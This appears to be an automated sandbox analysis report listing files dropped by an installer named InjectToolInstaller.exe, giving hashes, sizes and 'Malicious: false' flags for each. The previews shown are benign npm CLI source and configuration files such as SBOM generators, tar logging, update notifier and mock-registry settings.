C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\reify-output.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5109
Entropy (8bit):	4.7358738438929056
Encrypted:	false
SSDEEP:	96:DMD4PvqiPLlDL6mPb/d0qm/4hBnq/zC+/iXs+pie33uH1PWYgh:DMsPykLJPrd0L/4hRq/zC+/iXsyh33u2
MD5:	4A0A2DB9911325BAB8A8D6DC3F62E0DB
SHA1:	412536C3FF90D3AD235CD64EC578D49F9E8265B8
SHA-256:	C2E8B1F2A2DEF0430BFBE70E28E7CEF7E4629A37958A41F9255C60264F95BF9D
SHA-512:	09C9FA75E357C69EE0AAD82226EDCBDC257BF3E4B18569875A068B9BE10F3B113804F117558C1BDF9769F2AEA6F49D4166599F72B69E97CB70401E93BE396F03
Malicious:	false
Preview:	// pass in an arborist object, and it'll output the data about what.// was done, what was audited, etc..//.// added ## packages, removed ## packages, and audited ## packages in 19.157s.//.// 1 package is looking for funding.// run `npm fund` for details.//.// found 37 vulnerabilities (5 low, 7 moderate, 25 high).// run `npm audit fix` to fix them, or `npm audit` for details..const log = require('./log-shim.js').const { depth } = require('treeverse').const ms = require('ms').const npmAuditReport = require('npm-audit-report').const { readTree: getFundingInfo } = require('libnpmfund').const auditError = require('./audit-error.js')..// TODO: output JSON if flatOptions.json is true.const reifyOutput = (npm, arb) => {. const { diff, actualTree } = arb.. // note: fails and crashes if we're running audit fix and there was an error. // which is a good thing, because there's no point printing all this other. // stuff in that case!. const auditReport = auditError(npm, arb.auditReport) ?

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\replace-info.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	807
Entropy (8bit):	4.6848154876191614
Encrypted:	false
SSDEEP:	24:NTtCKkR7k+decy/H7e4/efLsrSXAlLsIKSzI46eN/SD7B/P:jXkRQxHHKJ4ULIK7jk/SD7d
MD5:	F536A3F92554DB733C8412AEDD918773
SHA1:	38E4EB826BF6FEFD2493C5566D2B71CCD8F1BD11
SHA-256:	D84CAB3299D8C003DDE0887D1798A44317E13AF4B18F8C9EEB51F2E55EFC12DC
SHA-512:	47A8A1CDBF50CF0B55F0A84C8AEFDF8832AB56CE8607823F30E4181C40E7AD9D047B151225297A4C6AC797A5BB9516599DF890A0D1AB72594AB47C7CC48AF132
Malicious:	false
Preview:	const { cleanUrl } = require('npm-registry-fetch').const isString = (v) => typeof v === 'string'..// split on \s\|= similar to how nopt parses options.const splitAndReplace = (str) => {. // stateful regex, don't move out of this scope. const splitChars = /[\s=]/g.. let match = null. let result = ''. let index = 0. while (match = splitChars.exec(str)) {. result += cleanUrl(str.slice(index, match.index)) + match[0]. index = splitChars.lastIndex. }.. return result + cleanUrl(str.slice(index)).}..// replaces auth info in an array of arguments or in a strings.function replaceInfo (arg) {. if (isString(arg)) {. return splitAndReplace(arg). } else if (Array.isArray(arg)) {. return arg.map((a) => isString(a) ? splitAndReplace(a) : a). }.. return arg.}..module.exports = replaceInfo.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\sbom-cyclonedx.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5192
Entropy (8bit):	5.069280556219553
Encrypted:	false
SSDEEP:	96:HKO2xT8yH/AyM75qWVVKPKtKD/SGeqj+PpJPEuAKDWBtqELDbEqLCfu8qiKnn:6T8f+KtKD/SRvPEEDaqELDb1LkqiKnn
MD5:	67C72FA71D9E13F5088C410F9020335C
SHA1:	5991BADE19381D3C98D95532F4447986E96F8EC0
SHA-256:	E5C5526A36656B6125CBD79D60E1246276BC0CC66D960DC112580DD6F4311200
SHA-512:	52C845B1A1A1AF83A3C1FB7ECD27898F89E09BCF43222F38216CA61D1843BB56CB94240F9D726A8356F095607C85DDF846D2CD90CC125A01501964BB69806110
Malicious:	false
Preview:	const crypto = require('crypto').const normalizeData = require('normalize-package-data').const parseLicense = require('spdx-expression-parse').const npa = require('npm-package-arg').const ssri = require('ssri')..const CYCLONEDX_SCHEMA = 'http://cyclonedx.org/schema/bom-1.5.schema.json'.const CYCLONEDX_FORMAT = 'CycloneDX'.const CYCLONEDX_SCHEMA_VERSION = '1.5'..const PROP_PATH = 'cdx:npm:package:path'.const PROP_BUNDLED = 'cdx:npm:package:bundled'.const PROP_DEVELOPMENT = 'cdx:npm:package:development'.const PROP_EXTRANEOUS = 'cdx:npm:package:extraneous'.const PROP_PRIVATE = 'cdx:npm:package:private'..const REF_VCS = 'vcs'.const REF_WEBSITE = 'website'.const REF_ISSUE_TRACKER = 'issue-tracker'.const REF_DISTRIBUTION = 'distribution'..const ALGO_MAP = {. sha1: 'SHA-1',. sha256: 'SHA-256',. sha384: 'SHA-384',. sha512: 'SHA-512',.}..const cyclonedxOutput = ({ npm, nodes, packageType, packageLockOnly }) => {. const rootNode = nodes.find(node => node.isRoot). const childNodes = nodes.f

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\sbom-spdx.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4568
Entropy (8bit):	5.070947394697609
Encrypted:	false
SSDEEP:	96:6uA+BP4bWVTVfKzqztLUsTUC4vCCWNsx0zWpiNKGqWVVKPl5K0SbgSWmo1jz9EKs:nAWPNVTImztwsTUCXC4zWpiNKG+l5K0i
MD5:	AD07F32B72E12EFAA97B05B550311560
SHA1:	29F1BFB4015FDE9F1C9855E7BFA81BFB08D565FC
SHA-256:	931BFFF86A9C06F9D247BAC784EE8C5673E6E86E2D5DA26CC0E1C09ED7AB3A50
SHA-512:	690F35D7049C798C8E5B44ED5B3656F942933BAE10E6EBC0B5F533F92E6FE638CA4D63683D44698B892CCC8F42B622684A6833F9112C0BE53C8B77FD5EA21DFC
Malicious:	false
Preview:	.const crypto = require('crypto').const normalizeData = require('normalize-package-data').const npa = require('npm-package-arg').const ssri = require('ssri')..const SPDX_SCHEMA_VERSION = 'SPDX-2.3'.const SPDX_DATA_LICENSE = 'CC0-1.0'.const SPDX_IDENTIFER = 'SPDXRef-DOCUMENT'..const NO_ASSERTION = 'NOASSERTION'..const REL_DESCRIBES = 'DESCRIBES'.const REL_PREREQ = 'HAS_PREREQUISITE'.const REL_OPTIONAL = 'OPTIONAL_DEPENDENCY_OF'.const REL_DEV = 'DEV_DEPENDENCY_OF'.const REL_DEP = 'DEPENDS_ON'..const REF_CAT_PACKAGE_MANAGER = 'PACKAGE-MANAGER'.const REF_TYPE_PURL = 'purl'..const spdxOutput = ({ npm, nodes, packageType }) => {. const rootNode = nodes.find(node => node.isRoot). const childNodes = nodes.filter(node => !node.isRoot && !node.isLink). const rootID = rootNode.pkgid. const uuid = crypto.randomUUID(). const ns = `http://spdx.org/spdxdocs/${npa(rootID).escapedName}-${rootNode.version}-${uuid}`.. const relationships = []. const seen = new Set(). for (let node of nodes) {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\tar.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	3993
Entropy (8bit):	4.717139733432024
Encrypted:	false
SSDEEP:	96:v37md+DRdPXXpvUjeMRjSsneHWONhFH3jhjinTl5l0xTK3s/D3xuZvzqqjBoI6:v7rfzgh5SxTK3kxuZn6
MD5:	0433A044D09311295A980EB6B17A494D
SHA1:	2E65EA3179EE704FB03DBEA490038CC1FE409BF6
SHA-256:	2C1F5905DFD435934EEDEEFAE13C7A230C478C5EFBF06E905C44AE730A7E4DFE
SHA-512:	4CB1757E2B669F0CFBB2970BE4E9C2AA5852DFF314260E54B2262B098EA7AFF1892C85F3887FC00D2376BFB7CC913D18682DE49077745187C9F52824E6FD8FAD
Malicious:	false
Preview:	const tar = require('tar').const ssri = require('ssri').const log = require('./log-shim').const formatBytes = require('./format-bytes.js').const columnify = require('columnify').const localeCompare = require('@isaacs/string-locale-compare')('en', {. sensitivity: 'case',. numeric: true,.})..const logTar = (tarball, opts = {}) => {. const { unicode = false } = opts. log.notice(''). log.notice('', `${unicode ? '.. ' : 'package:'} ${tarball.name}@${tarball.version}`). log.notice('=== Tarball Contents ==='). if (tarball.files.length) {. log.notice(. '',. columnify(. tarball.files. .map(f => {. const bytes = formatBytes(f.size, false). return /^node_modules\//.test(f.path) ? null : { path: f.path, size: `${bytes}` }. }). .filter(f => f),. {. include: ['size', 'path'],. showHeaders: false,. }. ). ). }. if (tarball.bundled.length) {. log.notice('=== Bundled Dependencies ==

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\timers.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2797
Entropy (8bit):	4.495914367554688
Encrypted:	false
SSDEEP:	48:GyDVTGxeilCXlVp3HSB1GEAfhy1OdrMd/7oQNlBdpjsA9ar+5SzWUXXv1UKe:GOVGrC1Vp3SInrMdzoQddhs4a6+vXNUJ
MD5:	BC76AD51AD0713E21881CDCD277AAE99
SHA1:	9418384BCBC0B8CDD92EFFE8F1F97AC1BF1D9892
SHA-256:	9B3FB299BF27A86FBF908D64EF91FB08AAF37D6D4312A6D1754E7243CD8CF765
SHA-512:	96A9783B5A7B193215ED8380DDC098C63FCCA47EA4A8086015631EF8F8A1D367831656163CD7A7B5C49A2EB789550008955611F9FBCAF4C47E7FA07B9C30164B
Malicious:	false
Preview:	const EE = require('events').const fs = require('fs').const log = require('./log-shim')..// This is an event emiiter but on/off.// only listen on a single internal event that gets.// emitted whenever a timer ends.class Timers extends EE {. file = null.. #unfinished = new Map(). #finished = {}. #onTimeEnd = Symbol('onTimeEnd'). #initialListener = null. #initialTimer = null.. constructor ({ listener = null, start = 'npm' } = {}) {. super(). this.#initialListener = listener. this.#initialTimer = start. this.#init(). }.. get unfinished () {. return this.#unfinished. }.. get finished () {. return this.#finished. }.. #init () {. this.on(). if (this.#initialListener) {. this.on(this.#initialListener). }. process.emit('time', this.#initialTimer). this.started = this.#unfinished.get(this.#initialTimer). }.. on (listener) {. if (listener) {. super.on(this.#onTimeEnd, listener). } else {. process.on('time', this.#timeListener).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\update-notifier.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4195
Entropy (8bit):	4.7822396073331
Encrypted:	false
SSDEEP:	96:kFPcAUQT8K1/IIBfihJPvKgyfIruSB/upcNeA5X+bhEkS:kPmQTfhBfa1Sgl/u+MAOhER
MD5:	17EF0A5BA7455621512F0DA382C91B69
SHA1:	8133B66A7B963244C8FEF3DEE36380BED5CBFA9A
SHA-256:	02A91770232C74668D3C91CE71D6B808B2D5CF9BE66A17F56ABDCB2CFC754286
SHA-512:	C800914E6E71D19B87307F98F226901926BAD7821F8368AF2A87D772773F371C626668EC934D1794FF664365C413954CF288EB8A5A60C4A7305E4739B32C8813
Malicious:	false
Preview:	// print a banner telling the user to upgrade npm to latest.// but not in CI, and not if we're doing that already..// Check daily for betas, and weekly otherwise...const ciInfo = require('ci-info').const semver = require('semver').const { stat, writeFile } = require('fs/promises').const { resolve } = require('path')..// update check frequency.const DAILY = 1000 * 60 * 60 * 24.const WEEKLY = DAILY * 7..// don't put it in the _cacache folder, just in npm's cache.const lastCheckedFile = npm =>. resolve(npm.flatOptions.cache, '../_update-notifier-last-checked')..// Actual check for updates. This is a separate function so that we only load.// this if we are doing the actual update.const updateCheck = async (npm, spec, version, current) => {. const pacote = require('pacote').. const mani = await pacote.manifest(`npm@${spec}`, {. // always prefer latest, even if doing --tag=whatever on the cmd. defaultTag: 'latest',. ...npm.flatOptions,. }).catch(() => null).. // if pacote faile

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\validate-lockfile.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1023
Entropy (8bit):	4.5770093213301415
Encrypted:	false
SSDEEP:	24:KbmzZ22nK9W9UrRGnbxOhVCu2WPyaRkTP3FUFeZTYB8GK:KqBnYRI2go7kT/FHZTYK/
MD5:	5D4C29E220B68DBE2D8E4BD2758C680A
SHA1:	940EAFD442A3992A08E61B55B31689DF00702A2E
SHA-256:	2295E2DAC1C5816E1EAE2D417804960EBBEF17B64A0A44DB4F3483CE6E6D9526
SHA-512:	A4C5D9AE9066FE6D8F4A0B34EAD08A41228D041B9E6C12059825D558BFC65E35A145FA75CEEE5A373BB8BC033C43DDCED0DDE6D51F238BC17A1EE828AADE994B
Malicious:	false
Preview:	// compares the inventory of package items in the tree.// that is about to be installed (idealTree) with the inventory.// of items stored in the package-lock file (virtualTree).//.// Returns empty array if no errors found or an array populated.// with an entry for each validation error found..function validateLockfile (virtualTree, idealTree) {. const errors = [].. // loops through the inventory of packages resulted by ideal tree,. // for each package compares the versions with the version stored in the. // package-lock and adds an error to the list in case of mismatches. for (const [key, entry] of idealTree.entries()) {. const lock = virtualTree.get(key).. if (!lock) {. errors.push(`Missing: ${entry.name}@${entry.version} from lock file`). continue. }.. if (entry.version !== lock.version) {. errors.push(`Invalid: lock file's ${lock.name}@${lock.version} does ` +. `not satisfy ${entry.name}@${entry.version}`). }. }. return errors.}..module.expo

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\web-auth.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	558
Entropy (8bit):	4.688282727786973
Encrypted:	false
SSDEEP:	12:Dlyj/FFXvEb5pQQVPZ2MGjd9+QF2fXhGgJ19526DDWzgE3k0cDB/n:Ryj/7M5pQQVBC9+QF6h/JBpXE3QB/n
MD5:	DA67DDFD8E1003A66049E0C541600117
SHA1:	96398ABB48C30D99CED7D7F192C690C928AF05C9
SHA-256:	92D37ABD1F31ADA5D06D02004C1039125DCDE8A4DCC8A82580D8EB5BB848E380
SHA-512:	C11A072DDFDC555889740BBB924780AEE2613B6264BDE1B56BB7063AD553D083E38F76609947129E9DA1A99C1B3C7A8AD70FC560DAF780FB43A339A35DAB88EE
Malicious:	false
Preview:	const EventEmitter = require('events').const { webAuthCheckLogin } = require('npm-profile')..async function webAuth (opener, initialUrl, doneUrl, opts) {. const doneEmitter = new EventEmitter().. const openPromise = opener(initialUrl, doneEmitter). const webAuthCheckPromise = webAuthCheckLogin(doneUrl, { ...opts, cache: false }). .then(authResult => {. // cancel open prompt if it's present. doneEmitter.emit('abort').. return authResult.token. }).. await openPromise. return await webAuthCheckPromise.}..module.exports = webAuth.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\workspaces\get-workspaces.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	4.803180365021438
Encrypted:	false
SSDEEP:	48:dahKnDQLkmuzZBlyCy6JEyJFQeTsETMJgJYYqH:dahgHmYBlyJ6JnJmGdMJgJYYqH
MD5:	C62513D176F3E675E2DC1C19560A7E8F
SHA1:	6049CB1F00DAEE562B9FD9DE2B0991877DA4B3B2
SHA-256:	C41B54EBED5F477472AC8FA56FAB6DAAD637A6C6CA71970956FB4C0D54456F9B
SHA-512:	FC1C48F795FA48AB8DA0101331B29032EF621CECF6213452035D9809E3BEB5CA10E355828AF22442C1DD7EFE976E6B7629FF617853BE3F652EF08323B01D98FF
Malicious:	false
Preview:	const { resolve, relative } = require('path').const mapWorkspaces = require('@npmcli/map-workspaces').const { minimatch } = require('minimatch').const pkgJson = require('@npmcli/package-json')..// minimatch wants forward slashes only for glob patterns.const globify = pattern => pattern.split('\\').join('/')..// Returns an Map of paths to workspaces indexed by workspace name.// { foo => '/path/to/foo' }.const getWorkspaces = async (filters, { path, includeWorkspaceRoot, relativeFrom }) => {. // TODO we need a better error to be bubbled up here if this call fails. const { content: pkg } = await pkgJson.normalize(path). const workspaces = await mapWorkspaces({ cwd: path, pkg }). let res = new Map(). if (includeWorkspaceRoot) {. res.set(pkg.name, path). }.. if (!filters.length) {. res = new Map([...res, ...workspaces]). }.. for (const filterArg of filters) {. for (const [workspaceName, workspacePath] of workspaces.entries()) {. let relativePath = relative(relativeFro

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\workspaces\update-workspaces.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1013
Entropy (8bit):	4.671029730648284
Encrypted:	false
SSDEEP:	24:N5BX6SNeN/DRZi9tC1TIYsb+ODAwpaVBK:N5h6QeN/Deak62AUaV8
MD5:	E165BD6E50ADE88403B8188AFCA47007
SHA1:	6AE2717A39957822382E6B37BAD03C8CDAD291C6
SHA-256:	0722812EE862A638F082D512DA1E1B4EAB3264B5DDBAF6911DED10F82EEB6425
SHA-512:	CD1027CB97C2F908EA97E0E8BCB2F9C12512233ADEE1E12B67104E5E13172C8B6C5F31638C16B55FCFD20A4A7143E3D265CBF42C5DFE28DAAFB94D135E891D59
Malicious:	false
Preview:	'use strict'..const reifyFinish = require('../utils/reify-finish.js')..async function updateWorkspaces ({. config,. flatOptions,. localPrefix,. npm,. workspaces,.}) {. if (!flatOptions.workspacesUpdate \|\| !workspaces.length) {. return. }.. // default behavior is to not save by default in order to avoid. // race condition problems when publishing multiple workspaces. // that have dependencies on one another, it might still be useful. // in some cases, which then need to set --save. const save = config.isDefault('save'). ? false. : config.get('save').. // runs a minimalistic reify update, targeting only the workspaces. // that had version updates and skipping fund/audit/save. const opts = {. ...flatOptions,. audit: false,. fund: false,. path: localPrefix,. save,. }. const Arborist = require('@npmcli/arborist'). const arb = new Arborist(opts).. await arb.reify({ ...opts, update: workspaces }). await reifyFinish(npm, arb).}..module.exports = upda

C:\Users\user\AppData\Local\Temp\7zS48C4B291\mock-globals\.eslintrc.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	357
Entropy (8bit):	4.8224113106031306
Encrypted:	false
SSDEEP:	6:Uf6jI4smaOUbeGsdaPoMIvfZsMEODMWTRQaI0r5NxbQJqBSc+NLF+v/6mn:Uf6ANOUbZsnnZvEtW+SNVQJqBevil
MD5:	1F007186BE8B5260FF53B341AF5655FD
SHA1:	1858997A42CEA3D5F66C92CD4E2C709A1F96EB4B
SHA-256:	191B99C3205D8862BD3A11AF48CFE1DD884203817D109E5CA0817A743CC3D6A1
SHA-512:	FB3B32D9811BE0EE8D27C5BBEBDEFB70607501157365E9B680AD4EAEFB0B3024920D21DEF3E8C918E718B1B693BD81945D9E680388EF3F076A719F50A5E01BA3
Malicious:	false
Preview:	/* This file is automatically added by @npmcli/template-oss. Do not edit. */..'use strict'..const { readdirSync: readdir } = require('fs')..const localConfigs = readdir(__dirname). .filter((file) => file.startsWith('.eslintrc.local.')). .map((file) => `./${file}`)..module.exports = {. root: true,. extends: [. '@npmcli',. ...localConfigs,. ],.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\mock-globals\.gitignore

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	302
Entropy (8bit):	4.861116444009598
Encrypted:	false
SSDEEP:	6:SbF6jI4smaOUczAWZrF9PPJUCPjCTCLanrWu+EpTY9NcKe:q0ANOUcBFZJZPGTiaRZYNe
MD5:	8DA13F306C8C0F4F4A32960E93725B42
SHA1:	B9EE3F4A8B64284A8F698206993E4EC2CF83F66F
SHA-256:	CA7A3D5544BEB40BEB598F6AE22527E8CBCBC29B67F241AD9E572A50A89848B0
SHA-512:	59E6493139D8A3AF2889FB337032F41124A53F5CA7EE06906C97D4F6CF0FA942F28B3B7CE2D449B10EA0A01A39282397984EA46DF43571D2A5FE753FC20BB6CC
Malicious:	false
Preview:	# This file is automatically added by @npmcli/template-oss. Do not edit...# ignore everything in the root./..# keep these.!/.gitignore.!/.eslintrc.js.!/.eslintrc.local..!/.gitignore.!/bin/.!/CHANGELOG.!/docs/.!/lib/.!/LICENSE.!/map.js.!/package.json.!/README*.!/scripts/.!/tap-snapshots/.!/test/.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\mock-globals\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	7895
Entropy (8bit):	4.737978804734659
Encrypted:	false
SSDEEP:	192:FlEtmiFynnB00PHuPAWomxAJi3Hwr94WyQIK0RVxDT1BWLsv+6cqIfAQgoo:FlEAjsParJaHsO/T1BErfrpo
MD5:	689BBF9143FBF215DE1251600F51D285
SHA1:	6328CDA5B07535E5D64B9C2B8D5621BDC90005DF
SHA-256:	ED73F72E364D6889474C786FCA889DB89457FCD7ABF833A48918A4EE7B92DDE8
SHA-512:	872020547BCD08FA9B065A394A5D87573C8CED4DCDE3F8E4707FABFD9B2A7C145F0DEDAEBC055895124D67AAC4CEED54B5B7BBCB25144E95FFA0C10F8CAF0C95
Malicious:	false
Preview:	// An initial implementation for a feature that will hopefully exist in tap.// https://github.com/tapjs/node-tap/issues/789.// This file is only used in tests but it is still tested itself..// Hopefully it can be removed for a feature in tap in the future..const sep = '.'.const escapeSep = '"'.const has = (o, k) => Object.prototype.hasOwnProperty.call(o, k).const opd = (o, k) => Object.getOwnPropertyDescriptor(o, k).const po = (o) => Object.getPrototypeOf(o).const pojo = (o) => Object.prototype.toString.call(o) === '[object Object]'.const last = (arr) => arr[arr.length - 1].const dupes = (arr) => arr.filter((k, i) => arr.indexOf(k) !== i).const dupesStartsWith = (arr) => arr.filter((k1) => arr.some((k2) => k2.startsWith(k1 + sep)))..const splitLastSep = (str) => {. let escaped = false. for (let i = str.length - 1; i >= 0; i--) {. const c = str[i]. const cp = str[i + 1]. const cn = str[i - 1]. if (!escaped && c === escapeSep && (cp == null \|\| cp === sep)) {. escaped =

C:\Users\user\AppData\Local\Temp\7zS48C4B291\mock-globals\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1288
Entropy (8bit):	4.707161625886281
Encrypted:	false
SSDEEP:	24:a1eCn29KFw120hPGLD/fUwiUJo631+R07jCC6jRY98LIFkXavR:2eo29F120hPGn0wffF+S7KNS8seXm
MD5:	2F92528DCBE63FD03694135CE9BB7E50
SHA1:	8DB63C9B7312DD277C9021DAC5B938F384B0BBC2
SHA-256:	AAFC83D1C5BBF80EC891D2BA487B420A99A0CB46FEEA50091AFDD289F6FCED2A
SHA-512:	B5E54E0DF444DCC0C0E1F91C61F3D3FEAB219D739B61B2F94EC1E6A0F4F524A93C123C93C0817B42C65D5C2E5EEA23B057ECE47B33FD9C0CA2FB0854FE78E56E
Malicious:	false
Preview:	{. "name": "@npmcli/mock-globals",. "version": "1.0.0",. "description": "",. "main": "lib/index.js",. "private": true,. "scripts": {. "test": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "node .. run lint -- --fix",. "snap": "tap",. "posttest": "node .. run lint". },. "repository": {. "type": "git",. "url": "https://github.com/npm/cli.git",. "directory": "mock-globals". },. "keywords": [],. "author": "GitHub Inc.",. "license": "ISC",. "bugs": {. "url": "https://github.com/npm/cli/issues". },. "homepage": "https://github.com/npm/cli#readme",. "files": [. "bin/",. "lib/". ],. "engines": {. "node": "^18.17.0 \|\| >=20.5.0". },. "templateOSS": {. "//@npmcli/template-oss": "This file is partially managed by @npmcli/template-oss. Edits may be overwritten.",. "version": "4.19.0",. "content": "../scripts/template-oss/index.js". },.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\mock-globals\test\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8935
Entropy (8bit):	4.658382747952272
Encrypted:	false
SSDEEP:	192:Ji9t/ra0h1DQRk4JVVJHI5UOKiTssaMiTB4RnKG1ow:JwRr1ckGHdOKiT7DiTEKw
MD5:	6F428663C0D0181C2BD06E169966AE28
SHA1:	BF7E123A769C8A8312F97574DD7F93E27C5EECAC
SHA-256:	F752DA84F381FA97490ECE2BEC12C71C276C219F4C687E8E56BB4BACBC7E1FAD
SHA-512:	7E179AE3F17AEE328D9E72E14D5F3741E6676F26E8928EF96C705CD7918934AC8C807B0FC0A3DB6F73595609952189A0CFE408B2B210A552553193CB7648E841
Malicious:	false
Preview:	const t = require('tap').const mockGlobals = require('..')../* eslint-disable no-console /.const originals = {. platform: process.platform,. error: console.error,. stderrOn: process.stderr.on,. stderrWrite: process.stderr.write,. shell: process.env.SHELL,. home: process.env.HOME,. argv: process.argv,. env: process.env,. setInterval,.}..t.test('console', async t => {. await t.test('mocks', async (t) => {. const errors = []. mockGlobals(t, {. 'console.error': (...args) => errors.push(...args),. }).. console.error(1). console.error(2). console.error(3). t.strictSame(errors, [1, 2, 3], 'i got my errors'). }).. t.equal(console.error, originals.error).})./ eslint-enable no-console */..t.test('platform', async (t) => {. t.equal(process.platform, originals.platform).. await t.test('posix', async (t) => {. mockGlobals(t, { 'process.platform': 'posix' }). t.equal(process.platform, 'posix').. await t.test('win32 --> woo', async (t) => {. moc

C:\Users\user\AppData\Local\Temp\7zS48C4B291\mock-registry\.eslintrc.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	357
Entropy (8bit):	4.8224113106031306
Encrypted:	false
SSDEEP:	6:Uf6jI4smaOUbeGsdaPoMIvfZsMEODMWTRQaI0r5NxbQJqBSc+NLF+v/6mn:Uf6ANOUbZsnnZvEtW+SNVQJqBevil
MD5:	1F007186BE8B5260FF53B341AF5655FD
SHA1:	1858997A42CEA3D5F66C92CD4E2C709A1F96EB4B
SHA-256:	191B99C3205D8862BD3A11AF48CFE1DD884203817D109E5CA0817A743CC3D6A1
SHA-512:	FB3B32D9811BE0EE8D27C5BBEBDEFB70607501157365E9B680AD4EAEFB0B3024920D21DEF3E8C918E718B1B693BD81945D9E680388EF3F076A719F50A5E01BA3
Malicious:	false
Preview:	/* This file is automatically added by @npmcli/template-oss. Do not edit. */..'use strict'..const { readdirSync: readdir } = require('fs')..const localConfigs = readdir(__dirname). .filter((file) => file.startsWith('.eslintrc.local.')). .map((file) => `./${file}`)..module.exports = {. root: true,. extends: [. '@npmcli',. ...localConfigs,. ],.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\mock-registry\.eslintrc.local.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	68
Entropy (8bit):	4.24187525468611
Encrypted:	false
SSDEEP:	3:QueHFuobLALWIBAqLBDWNovDn:Quw0oYrBAwVr
MD5:	E6A8F08380C7491FD758DDEB427B4FAC
SHA1:	80DFD629A08827936D4F76C85431248EA5E7C657
SHA-256:	820A2A6AC56E7D7D6F860C78B3EE4D7951EA340039695F6BEF50B33A5C93E522
SHA-512:	3E3EA51C0C5D2E884A2C6E6A1B00C5D865EC4FA72E7AC89FE20B22C0B95A0EDACBC190D9E6D4326C3ED14DE2EE68D86083E717ADBB7CDA1E93215754B31B9CB9
Malicious:	false
Preview:	{. "rules": {. "import/no-extraneous-dependencies": "off". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\mock-registry\.gitignore

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	302
Entropy (8bit):	4.861116444009598
Encrypted:	false
SSDEEP:	6:SbF6jI4smaOUczAWZrF9PPJUCPjCTCLanrWu+EpTY9NcKe:q0ANOUcBFZJZPGTiaRZYNe
MD5:	8DA13F306C8C0F4F4A32960E93725B42
SHA1:	B9EE3F4A8B64284A8F698206993E4EC2CF83F66F
SHA-256:	CA7A3D5544BEB40BEB598F6AE22527E8CBCBC29B67F241AD9E572A50A89848B0
SHA-512:	59E6493139D8A3AF2889FB337032F41124A53F5CA7EE06906C97D4F6CF0FA942F28B3B7CE2D449B10EA0A01A39282397984EA46DF43571D2A5FE753FC20BB6CC
Malicious:	false
Preview:	# This file is automatically added by @npmcli/template-oss. Do not edit...# ignore everything in the root./..# keep these.!/.gitignore.!/.eslintrc.js.!/.eslintrc.local..!/.gitignore.!/bin/.!/CHANGELOG.!/docs/.!/lib/.!/LICENSE.!/map.js.!/package.json.!/README*.!/scripts/.!/tap-snapshots/.!/test/.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\mock-registry\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	12170
Entropy (8bit):	4.721827629238467
Encrypted:	false
SSDEEP:	192:m463BRwQC9AVQDPjYiO227HQ4/y8CgTDTN34aiKz9384dVP68WHTijMwOhdwJhUo:Ly8bjNO7+3w76wOG
MD5:	4A748B4C103FC82268D3FAAF4A4B26F8
SHA1:	A307F8A37EEA9FF272BC79100EC87EBDD2546202
SHA-256:	829D73E78B61C44121B3470EB5355C8F1C88D932EEA0B9108BF9DEA9389FAABF
SHA-512:	2FDD0C724BA890A5DC0B7663C7925B52EA2D5077EA67EFB53930CF77AB5C3E04AFFD4B78F3FB94BABB9EC3E8E9C5E8C540C9FFF34D7797B52D78CBB2A0F029DB
Malicious:	false
